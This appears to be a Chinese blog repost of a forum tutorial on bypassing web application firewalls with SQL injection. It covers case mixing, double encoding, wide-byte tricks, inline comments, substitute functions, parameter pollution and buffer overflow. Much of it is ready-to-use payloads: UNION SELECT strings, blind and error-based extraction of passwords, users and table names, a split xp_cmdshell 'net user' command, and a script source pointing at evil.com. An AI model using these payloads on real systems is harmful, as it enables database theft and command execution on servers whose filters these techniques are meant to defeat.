Loading

大声喊出我们的口号:去他妈的WAF(SQL注入绕过)

转载自:i春秋社区

原文:http://bbs.ichunqiu.com/thread-18414-1-1.html

0x01 什么是WAF   

  Web应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

0x02 SQL注入绕过WAF
    首先不要在意为什么我要从百度百科上复制WAF的定义,比较这个不是重点,只是预防一下真的不知道WAF是什么的人,好了下面让我们深入的讨论一下SQL注入中绕过WAF的那些方式方法。

1.混合大小写绕过WAF
    这个方法应该是人人皆知了吧,大小写绕过只能用于关键字匹配技术正则表达式/express/i匹配时就完蛋了,当然这是最简单的绕过方式,如果哪个WAF连大小写都拦不住那基本是废了
例:www.ichunqiu.com/mamaipi.php?page_id=998 UnIoN seLECt 1,2,3,4,5,6
    这只是例子啊,别真去试i春秋有没有这个漏洞,no zuo no die

2.替换大小写绕过WAF
    这个方法也是人人皆知了吧,有的WAF他会过滤关键字,注意,我说的是过滤而不是拦截,做个比方例:www.ichunqiu.com/mamaipi.php?page_id=998 UNIunionON SEselectLECt 1,2,3,4,5,6
    这时候如果WAF的过滤器删除了union和select会怎么样呢?
继续例:www.ichunqiu.com/mamaipi.php?page_id=998 UNION SELECt 1,2,3,4,5,6
    又变回去了,当然大部分都是直接拦截了,至于过滤的嘛。。。

3.俩字:编码
    一开始我打算分开写的,但是考虑到编码方式很多我就写在一起好了

(a)URL编码    URL编码很简单,你在浏览器的地址栏输入汉字或符号时你会发现地址栏会变成一堆%和数字,跟乱码了一样,实际上那就是URL编码,一般的URL不太可能会成功绕过WAF,因为再解码之后WAF还是会拦截的,不过你可以两次编码
例:www.ichunqiu.com/dan_zong_SB.php?id=1%252f%252a*/UNION%252f%252a/SELECT
    也就是编完一次码之后在编一次,效果棒棒哒!


(b)Unicode编码
    什么是Unicode呢,其实我们经常说两种网站的常用编码,也就是GBK和utf-8,而这个utf的u的就是代表的Unicode
例:www.ichunqiu.com/hei_lian_zui_shuai.php?id=10%D6'%20AND%201=2%23 
    这个利用双字节绕过,比如这个单引号转义为\',那么就变成了%D6%5C',%D6%5C构成了一个款字节即Unicode字节,而且单引号可以正常使用(๑•̀ㅂ•́)و✧
例2:SELECT 'Ä' = 'A' #1  (请勿试图在键盘上找到Ä)
    使用的是两种不同编码的字符的比较,它们比较的结果可能是True(对)或者False(错误),因为Unicode编码有很多种,基于黑名单的过滤器无法处理从而实现绕过。



(c)十六进制

    常见的编码当然还有二进制、八进制,它们不一定都派得上用场,所以我们说说十六进制就好。
例:www.ichunqiu.com/fuck_you.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
    这个是单个字符的编码
例2:SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
    这个就是整个了
 
3或者4我也忘了是几.注释符
 
最普通的注释就是那些//, -- , /**/, #, --+,--  -, ;,--a
例:www.ichunqiu.com/nnnnnnnnnnnnnnnnnnnnnnb.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
    注释符实际上就想当于空,原理和刚刚那个替换大小写的差不多(我是说原理,没有指使用条件等其他方面),相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别
例2:www.ichunqiu.com/wo_zhen_bu_zhi_dao_hai_neng_bian_dian_sha_le.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3


5.使用类似的命令
    很多函数和命令会被拦截但是你可以用一些含义差不多的其他命令函数代替
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者:substr((select 'password'),1,1) = 0x70
   strcmp(left('password',1), 0x69) = 1
     strcmp(left('password',1), 0x70) = 0
   strcmp(left('password',1), 0x71) = -1
    所以当某个函数不能使用时,还是可以找到其他的函数替代其实现的,除了函数同意的还有很多符号,and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了
    在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/
   生僻函数MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);          
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
    MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制
 
大概是6了 6.特殊符号
这里的非字母数字的字符都归在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多
先看几个例子:
1.使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
4.Mysql function() as xxx  也可不用as和空格   select-count(id)test from users;  //绕过空格限制
可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到
这几个事可能发挥大作用的字符(未包括'、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00
举例:
关键字拆分:‘se’+’lec’+’t’
      %S%E%L%E%C%T 1
      1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
!和():' or --+2=- -!!!'2
    id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔
本节最后在给出一些和这些字符多少有点关系的操作符供参考:
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段
 
7.控制HTTP参数
    我们可以通过控制HTTP的参数来对查询语句的参数进行修改,当然也包括HTTP头、HTTP方法的控制
HPP例:/?id=1;select+1,2,3+from+users+where+id=1—
   /?id=1;select+1&id=2,3+from+users+where+id=1—
   /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
HPP又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的Web服务器处理方式如下:
<ignore_js_op>
    HPF的这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
例:/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
  select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
    看罢上面两个示例,发现和HPP最后一个示例很像,不同之处在于参数不一样,这里是在不同的参数之间进行分割,到了数据库执行查询时再合并语句。
    HPC这一概念见于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同样意为污染
RFC2396定义了如下一些字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `
    不同的Web服务器处理处理构造得特殊请求时有不同的逻辑:
<ignore_js_op>
    以魔术字符%为例,Asp/Asp.net会受到影响
<ignore_js_op>
 
8.缓冲区溢出
    缓冲区溢出用于对付WAF,有不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过
举例:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A"重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考,在某些情况下可能不需要这么长也能溢出
 
9.整合绕过
    整合绕过简单说就是组合上面的各种方法,就想有人把两根棍子拿线连起来就成了双截棍,有人在棍子上绑了把刀就成了长刀(我也不知道是不是叫这个)一样,真正实战时候要随机应变才可以,俗话说的好:举一反三方能百战不胜(不要在意细节)
posted @ 2017-01-30 12:15  ssooking  阅读(841)  评论(0)    收藏  举报